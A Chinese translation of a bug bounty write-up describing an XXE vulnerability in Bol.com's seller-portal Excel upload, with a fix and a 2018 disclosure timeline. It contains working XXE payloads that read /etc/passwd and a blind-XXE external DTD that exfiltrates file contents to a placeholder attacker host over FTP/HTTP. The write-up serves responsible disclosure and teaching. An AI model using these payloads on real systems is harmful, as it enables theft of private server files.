背景
在之前的報告中,我們學到了許多有關在訪問者的瀏覽器中執行代碼的知識;反射型XSS和存儲型XSS。此外,我們還快速查看了錯誤配置的服務器設置和Open Redirect(開放式重定向)。
今天,我們將探討的是如何從服務器竊取私有文件。
選擇目標
像往常一樣,我們需要一個好的目標。Bol.com是荷蘭最大的電子商務網站之一。他們對我提交的開放式重定向錯誤報告的處理非常積極;快速的回覆,修復並始終向我發送更新。沒有任何額外的麻煩,沒有NDA保密協議,輕鬆愉快的語氣。可以說這是其他公司處理負責任披露的完美範例。也是一家你 值得加入的公司。
在開始正式的內容前,讓我們先來了解下什麼是XXE,LFI和RCE。
本地文件包含(LFI)是在服務器響應中顯示內部服務器文件的過程。遠程執行代碼(RCE)是在服務器上執行我們自己代碼的過程。
通常LFI錯誤會導致RCE;有很多技巧可以用來將LFI升級爲RCE。
RCE漏洞會對服務器安全帶來巨大的威脅,因爲它可能會最終導致完整的服務器接管。儘管大多數服務器在訪問受限的帳戶下執行來自Web服務器的代碼,但操作系統本身仍時不時會存在一些缺陷。允許繞過此特定訪問限制的缺陷。你可能在過去使用過這種類型的bug;通過在iPhone上越獄iOS或root你的安卓手機。兩者都是利用了bug來接管操作系統。我們將此類攻擊稱爲提權。
XML外部實體(XXE)攻擊基於擴展XML文件,加載本地文件和外部URL。它可能會導致LFI和RCE,因此它同樣具有很大的威脅性。雖然XXE攻擊發現於十多年前,但至今你仍然可以在許多網站上發現這個漏洞。
可擴展標記語言(XML)
XML是一種標記語言,允許創建計算機和人都易於閱讀的文檔。雖然有人說這種語言已經過時,但直到現在仍有許多地方在使用它。
如果我們仔細查看該示例,會注意到contents在標記之間,例如<body>contents</body>。因此,我們應該轉義標籤內的特定字符。否則,將有可能被人惡意注入標籤並操縱整個XML文件。默認情況下,XML會將<>&’”字符轉義爲類似<>&'"的實體。因此,我們仍可以在不破壞XML文件的情況下使用字符。
XML有一個很好的功能,就是允許我們通過在XML文檔中包含Document類型定義(DTD)來定義我們自己的實體。如下所示。
DTD 示例:
Example DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
利用 XML 解析器
但是如果解析器允許我們定義文件而不是字符串呢?結果將是實體被文件中的內容替換。通過更改<!ENTITY body “Don’t forget me this weekend!” >爲<!ENTITY body SYSTEM “file:///etc/passwd” >一些解析器將會向我們直接顯示/etc/passwd文件的內容。
除了LFI,一些XML解析器還允許我們加載外部URL;只需用http://替換file://字符串即可。webserver將請求此URL。這可能會導致SSRF攻擊;你也可以請求內部webserver,掃描開放端口並映射內部網絡。你是否能夠訪問到包含元數據的本地webservers?如果是那麼恭喜你,你最終可能得到 25000美元的漏洞賞金。
上述LFI攻擊只有在我們的輸入返回到某個地方時纔可行。否則我們無法讀取被替換的實體。如果遇到這種情況,可以使用以下技巧來泄漏數據。
盲XXE?通過HTTP/FTP請求外部DTD泄漏數據
所以服務器會解析你的XML,但沒有向你顯示響應中的內容?
由於你可以加載外部DTD,因此你可以將自定義實體附加到外部URL。只要URL有效,它就會加載附加了(文件)內容的URL。請注意像#這樣的字符會破壞url。
XXEserve
XXEserve是一個由staaldraad創建的用於捕獲XXE請求的一個非常棒的工具。它是一個簡單的FTP/HTTP服務器,會顯示所有我們對服務器的請求。它還僞造了一個FTP服務器;由於字符串中字符的原因,HTTP有時會失敗,FTP則會保持正常工作。
快速開始
1.在公共服務器上安裝XXEserv
2.創建包含要泄漏的文件或(內部)URL的外部DTD文件(即sp2.dtd)。將x.x.x.x替換爲服務器的IP地址或主機名:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
3.將此外部DTD文件放在XXEserv目錄中。XXEserv充當公共ftp和Web服務器;所以我們現在能夠鏈接這個文件。
4.將XML payload發送給受害者,包括我們的外部DTD:
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
5.觀察XXEserv的輸出
如果想查看不同變種的XXE payloads,請點擊此處[1][2]。
我們需要找到一種方法將我們的XML代碼上傳或注入到Bol.com。我們可以從他們的“賣家門戶”入手。大多數情況下,賣家能夠上傳與其產品相關的圖片或其他文件。
網站的這一部分允許用戶上傳準備好(再次)銷售的產品。
一句簡短的荷蘭語:’Aanbod beheren via excel’意思是“在excel中管理庫存”。
此界面共包含有三個步驟:
1.下載包含當前庫存的Excel文件
2.上傳更改的Excel文件
3.查看上傳結果
庫存 Excel 文件
Excel文件的擴展名爲XLSX。這是微軟開發的一種開放文件格式;它是一個包含多個XML文件的zip文件。
讓我們解壓這個文件。
如果我們打開sheet1.xml,我們將看到以下代碼。
假設我們想嘗試將/etc/passwd的文件內容注入到Offer描述中(這是G4單元格,請參閱原始Excel工作表)。
正如我們在圖中所看到的那樣,字符串’Sample description’被id 108引用。讓我們將自定義實體添加到該工作表中,並將此單元格值替換爲我們的自定義實體。
我們保存文件,再次壓縮文件夾並將文件重命名爲xlsx。
讓我們看看如果我們在步驟2中上傳文件,讓它加載,然後從步驟1再次下載文件會發生什麼。如果XXE攻擊有效,它將更新我們的示例產品(Excel中的第4行)並將/etc/passwd的文件內容注入到產品的標價說明當中。
POC
可以看到我們成功獲取到了/etc/passwd中的內容。現在是時候撰寫報告並通知他們了!
下一步是檢查服務器是否是支持雲元數據,檢查包含API密鑰的配置文件,並查看是否可以從LFI升級到RCE。
但由於該結果已對目標有足夠的影響,因此我決定立即通知Bol.com。我詢問他們是否需要我進一步的測試並將此升級爲RCE。但在他們回覆之前,錯誤已經被修復:-)
文件枚舉
如果我們嘗試解析目錄而不是文件(即<!ENTITY body SYSTEM “file:///etc/”>),Bol.com使用的XML解析器將返回文件名(作爲一個大字符串)。這使我們能夠快速枚舉服務器上的所有文件,而不需要爆破文件名。
大批量 XXE 注入
可以在大量文件中注入XXE payload。因此,每次上傳圖片都是潛在的XXE漏洞。Buffalo創建了一個很不錯的工具,可幫助你將XXE payload輕鬆地嵌入到所有這些不同的文件中。
總結
通過編輯XML文件,我們能夠在上傳中將本地服務器文件的內容作爲字符串包含在內。之後我們能夠下載此文檔,因此我們能夠從其中一個生產服務器讀取私有文件。
解決方案
最佳解決方案是禁用XML解析器中的任何DTD支持。更多內容請參閱OWASP對不同解析器及其配置的概述。
影響
- 本地文件包含
- 可能執行本地拒絕服務攻擊(未確認)
- 可能的RCE(未確認)
- 可能的SSRF(未確認)
時間線
2018.9.2 發現漏洞並通知Bol.com
2018.9.3 Bol.com確認漏洞
2018.9.4 Bol.com修復漏洞,並獎勵了價值500歐元的Bol.com優惠券
2018.9.8 撰寫本文並告知Bol.com
2018.9.11 發表本文
*參考來源:medium,FB小編secist編譯,轉載請註明來自FreeBuf.COM
secist409 篇文章等級: 9級
|
|
- 上一篇:企業安全體系架構分析:開發安全架構之防CC攻擊腳本編寫
- 下一篇:本篇已是最新文章